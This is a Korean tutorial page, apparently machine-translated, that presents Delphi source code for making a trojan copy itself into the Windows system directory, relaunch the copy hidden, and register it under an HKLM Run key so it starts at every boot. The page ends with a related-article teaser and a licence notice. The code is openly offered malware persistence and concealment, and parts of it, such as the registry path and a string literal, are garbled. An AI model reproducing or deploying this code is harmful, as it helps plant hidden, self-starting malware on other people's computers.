Delphi 목마 자기 복제법 구현
이 예는 델파이로 목마의 자기 복제를 실현하는 것이다.
먼저 Delphi를 열고 새 프로젝트를 만들고 창의 Create 이벤트에 다음 코드를 씁니다.
procedure TForm1.FormCreate(Sender: TObject);
var myname: string;
begin
myname := ExtractFilename(Application.Exename); //
if application.Exename <> GetWindir + myname then // WindowsSystem ..
begin
copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{ WindowsSystem }
Winexec(pchar(GetWindir + myname), sw_hide);// WindowsSystem
application.Terminate;//
end;
end;
그 중에서 GetWinDir는 사용자 정의 함수이고 기능은 Windows 시스템의 경로를 찾아내는 것이다.
function GetWinDir: String;
var
Buf: array[0..MAX_PATH] of char;
begin
GetSystemDirectory(Buf, MAX_PATH);
Result := Buf;
if Result[Length(Result)]<>'' then Result := Result + '';
end;
어떻게 하면 프로그램이 윈도우즈가 시작될 때 자동으로 시작될 수 있습니까?프로그램이 Windows가 시작될 때마다 자동으로 실행될 수 있도록 다음과 같은 경로를 통해 실현할 수 있다.빙하는 등록표의 방식을 사용한다.
Registry 단원에 가입하여 위의 창Create 이벤트를 다시 작성하면 다음과 같은 절차가 진행됩니다.
procedure TForm1.FormCreate(Sender: TObject);
const K = 'SoftwareMicrosoftWindowsCurrentVersionRunServices';
var myname: string;
begin
myname := ExtractFilename(Application.Exename); //
if application.Exename <> GetWindir + myname then // WindowsSystem ..
begin
copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{// Windows/System32 }
Winexec(pchar(GetWindir + myname), sw_hide);// WindowsSystem
application.Terminate;//
end;
with TRegistry.Create do
try
RootKey := HKEY_LOCAL_MACHINE;
OpenKey( K, TRUE );
WriteString( 'syspler', application.ExeName );
finally
free;
end;
end;
이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
[Delphi] TStringBuilder그리고 꼭 사용해야만 할까? 그림처럼 Heap 영역에 "Hello" 공간을 생성하고 포인팅을 한다. "Hello World" 공간을 새로 생성한 후 포인팅을 하게 된다. 결국 "Hello" 라는 String 객체가 ...
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.